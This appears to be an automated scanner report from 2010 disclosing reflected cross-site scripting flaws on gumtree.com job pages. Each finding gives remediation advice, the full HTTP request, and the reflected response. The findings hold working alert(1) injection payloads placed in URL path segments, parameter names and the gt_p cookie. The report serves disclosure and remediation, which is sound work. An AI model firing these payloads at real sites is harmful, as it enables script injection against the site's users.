Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1140c'-alert(1)-'aed9685c1e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e HTTP/1.1 Host: www.gumtree.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE html><html lang="en"><head><script type="text/javascript"><!-- var t_pagestart = new Date().getTime(); //--></script><!-- test listing_design : control --><title>Consulting jobs London: Cons ...[SNIP]... ; if (engine_match()) { var now = new Date; var cachebuster = now.getTime(); var mpcl = 'l-london-659-jobs-l4----1---http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e'; var mvt_referrer = readCookie('mvt_referrer'); if (mvt_referrer && mvt_referrer != '') { var mpvl = mvt_referrer; createCookie('mvt_referrer',''); } else { var mpvl = encodeURIComponent( document.re ...[SNIP]...
The value of the ceb98'-alert(1)-'84870a48f62 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4ba84'-alert(1)-'7478bafdab was submitted in the ceb98'-alert(1)-'84870a48f62 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /london/project-management-business-consulting-jobs_659_1.html?ceb98'-alert(1)-'84870a48f62=14ba84'-alert(1)-'7478bafdab HTTP/1.1 Host: www.gumtree.com Proxy-Connection: keep-alive Referer: http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html?ceb98'-alert(1)-'84870a48f62=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: gumtree_ab_test_randomiser=0; pentagonaltrapezohedron=502233; EMSeen=yes; rsi_segs=; boomr_rt=; gt_s=1f959fb4b65b14f36c0b4ea01d1e6f0c; gt_p=1f959fb4b65b14f36c0b4ea01d1e6f0c|ssc:MQ==|rouk_chp:aHR0cDovL3d3dy5ndW10cmVlLmNvbS9sb25kb24vcHJvamVjdC1tYW5hZ2VtZW50LWJ1c2luZXNzLWNvbnN1bHRpbmctam9ic182NTlfMS5odG1sP2NlYjk4Jy1hbGVydCgxKS0nODQ4NzBhNDhmNjI9MQ==|rouk:dGVzdA==|rouk_chp_type:c2l0ZQ==|rouk_chp_id:MQ==|rf:aHR0cDovL2J1cnAvc2hvdy83NA==|rfts:MTI5MDY0ODMzMzYyMQ==
<!DOCTYPE html><html lang="en"><head><script type="text/javascript"><!-- var t_pagestart = new Date().getTime(); //--></script><!-- test listing_design : control --><title>Consulting jobs London: Cons ...[SNIP]... = new Date; var cachebuster = now.getTime(); var mpcl = 'l-london-659-jobs-l4----1---http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html?ceb98'-alert(1)-'84870a48f62=14ba84'-alert(1)-'7478bafdab'; var mvt_referrer = readCookie('mvt_referrer'); if (mvt_referrer && mvt_referrer != '') { var mpvl = mvt_referrer; createCookie('mvt_referrer',''); } else { var mpvl = encodeURIComponent( document.re ...[SNIP]...
1.3. http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ceb98'-alert(1)-'84870a48f62 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /london/project-management-business-consulting-jobs_659_1.html?ceb98'-alert(1)-'84870a48f62=1 HTTP/1.1 Host: www.gumtree.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE html><html lang="en"><head><script type="text/javascript"><!-- var t_pagestart = new Date().getTime(); //--></script><!-- test listing_design : control --><title>Consulting jobs London: Cons ...[SNIP]...
if (engine_match()) { var now = new Date; var cachebuster = now.getTime(); var mpcl = 'l-london-659-jobs-l4----1---http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html?ceb98'-alert(1)-'84870a48f62=1'; var mvt_referrer = readCookie('mvt_referrer'); if (mvt_referrer && mvt_referrer != '') { var mpvl = mvt_referrer; createCookie('mvt_referrer',''); } else { var mpvl = encodeURIComponent( document. ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7478d'-alert(1)-'43e190dfe7b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e7478d'-alert(1)-'43e190dfe7b HTTP/1.1 Host: www.gumtree.com Proxy-Connection: keep-alive Referer: http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: gumtree_ab_test_randomiser=0; pentagonaltrapezohedron=502233; EMSeen=yes; rsi_segs=; gt_s=82ed8b59d981eafc3d1a8ce09a2e2fd9; gt_p=82ed8b59d981eafc3d1a8ce09a2e2fd9|ssc:MQ==|rouk_chp:aHR0cDovL3d3dy5ndW10cmVlLmNvbS9sb25kb24vcHJvamVjdC1tYW5hZ2VtZW50LWJ1c2luZXNzLWNvbnN1bHRpbmctam9ic182NTlfMS5odG1sMTE0MGMnLWFsZXJ0KDEpLSdhZWQ5Njg1YzFl|rouk:dGVzdA==|rouk_chp_type:c2l0ZQ==|rouk_chp_id:MQ==|rf:aHR0cDovL2J1cnAvc2hvdy83Mw==|rfts:MTI5MDY0ODMxMDM0Ng==
<!DOCTYPE html><html lang="en"><head><script type="text/javascript"><!-- var t_pagestart = new Date().getTime(); //--></script><!-- test listing_design : control --><title>Consulting jobs London: Cons ...[SNIP]... now = new Date; var cachebuster = now.getTime(); var mpcl = 'l-london-659-jobs-l4----1---http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e7478d'-alert(1)-'43e190dfe7b'; var mvt_referrer = readCookie('mvt_referrer'); if (mvt_referrer && mvt_referrer != '') { var mpvl = mvt_referrer; createCookie('mvt_referrer',''); } else { var mpvl = encodeURIComponent( document.re ...[SNIP]...
1.5. http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 15e00'-alert(1)-'b42c137b788 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e?15e00'-alert(1)-'b42c137b788=1 HTTP/1.1 Host: www.gumtree.com Proxy-Connection: keep-alive Referer: http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: gumtree_ab_test_randomiser=0; pentagonaltrapezohedron=502233; EMSeen=yes; rsi_segs=; gt_s=82ed8b59d981eafc3d1a8ce09a2e2fd9; gt_p=82ed8b59d981eafc3d1a8ce09a2e2fd9|ssc:MQ==|rouk_chp:aHR0cDovL3d3dy5ndW10cmVlLmNvbS9sb25kb24vcHJvamVjdC1tYW5hZ2VtZW50LWJ1c2luZXNzLWNvbnN1bHRpbmctam9ic182NTlfMS5odG1sMTE0MGMnLWFsZXJ0KDEpLSdhZWQ5Njg1YzFl|rouk:dGVzdA==|rouk_chp_type:c2l0ZQ==|rouk_chp_id:MQ==|rf:aHR0cDovL2J1cnAvc2hvdy83Mw==|rfts:MTI5MDY0ODMxMDM0Ng==
<!DOCTYPE html><html lang="en"><head><script type="text/javascript"><!-- var t_pagestart = new Date().getTime(); //--></script><!-- test listing_design : control --><title>Consulting jobs London: Cons ...[SNIP]... now = new Date; var cachebuster = now.getTime(); var mpcl = 'l-london-659-jobs-l4----1---http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e?15e00'-alert(1)-'b42c137b788=1'; var mvt_referrer = readCookie('mvt_referrer'); if (mvt_referrer && mvt_referrer != '') { var mpvl = mvt_referrer; createCookie('mvt_referrer',''); } else { var mpvl = encodeURIComponent( document. ...[SNIP]...
The value of the gt_p cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c2638"%3balert(1)//76b02ca06d1 was submitted in the gt_p cookie. This input was echoed as c2638";alert(1)//76b02ca06d1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /london/project-management-business-consulting-jobs_659_1.html?ceb98'-alert(1)-'84870a48f62=1 HTTP/1.1 Host: www.gumtree.com Proxy-Connection: keep-alive Referer: http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html?ceb98'-alert(1)-'84870a48f62=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: gumtree_ab_test_randomiser=0; pentagonaltrapezohedron=502233; EMSeen=yes; rsi_segs=; boomr_rt=; gt_s=1f959fb4b65b14f36c0b4ea01d1e6f0c; gt_p=c2638"%3balert(1)//76b02ca06d1
<!DOCTYPE html><html lang="en"><head><script type="text/javascript"><!-- var t_pagestart = new Date().getTime(); //--></script><!-- test listing_design : control --><title>Consulting jobs London: Cons ...[SNIP]... on(){ $("li.adsense_ad a").each( function( i ){ this.target = "_blank"; $(this).click( function(){ (new Image).src = "http://altfarm.mediaplex.com/ad/bk/6092-31758-3840-4?LocClass-AdSenseClick=1&mpuid=c2638";alert(1)//76b02ca06d1;;;site_1;2553;2534;AFS;Repeat;;350137901"; }); }); } ); if (engine_match()) { var now = new Date; var cachebuster = now.getTime(); var mpcl = 'l-london-659-jobs-l4----1---http://www.gumtree.com/london ...[SNIP]...
The value of the gt_p cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 150f8"%3balert(1)//ee6c1013fb8 was submitted in the gt_p cookie. This input was echoed as 150f8";alert(1)//ee6c1013fb8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e HTTP/1.1 Host: www.gumtree.com Proxy-Connection: keep-alive Referer: http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: gumtree_ab_test_randomiser=0; pentagonaltrapezohedron=502233; EMSeen=yes; rsi_segs=; gt_s=82ed8b59d981eafc3d1a8ce09a2e2fd9; gt_p=150f8"%3balert(1)//ee6c1013fb8
<!DOCTYPE html><html lang="en"><head><script type="text/javascript"><!-- var t_pagestart = new Date().getTime(); //--></script><!-- test listing_design : control --><title>Consulting jobs London: Cons ...[SNIP]... on(){ $("li.adsense_ad a").each( function( i ){ this.target = "_blank"; $(this).click( function(){ (new Image).src = "http://altfarm.mediaplex.com/ad/bk/6092-31758-3840-4?LocClass-AdSenseClick=1&mpuid=150f8";alert(1)//ee6c1013fb8;;;site_1;2553;2534;AFS;Repeat;;149337596"; }); }); } ); if (engine_match()) { var now = new Date; var cachebuster = now.getTime(); var mpcl = 'l-london-659-jobs-l4----1---http://www.gumtree.com/london ...[SNIP]...
Report generated by XSS.CX at Thu Nov 25 10:09:10 CST 2010.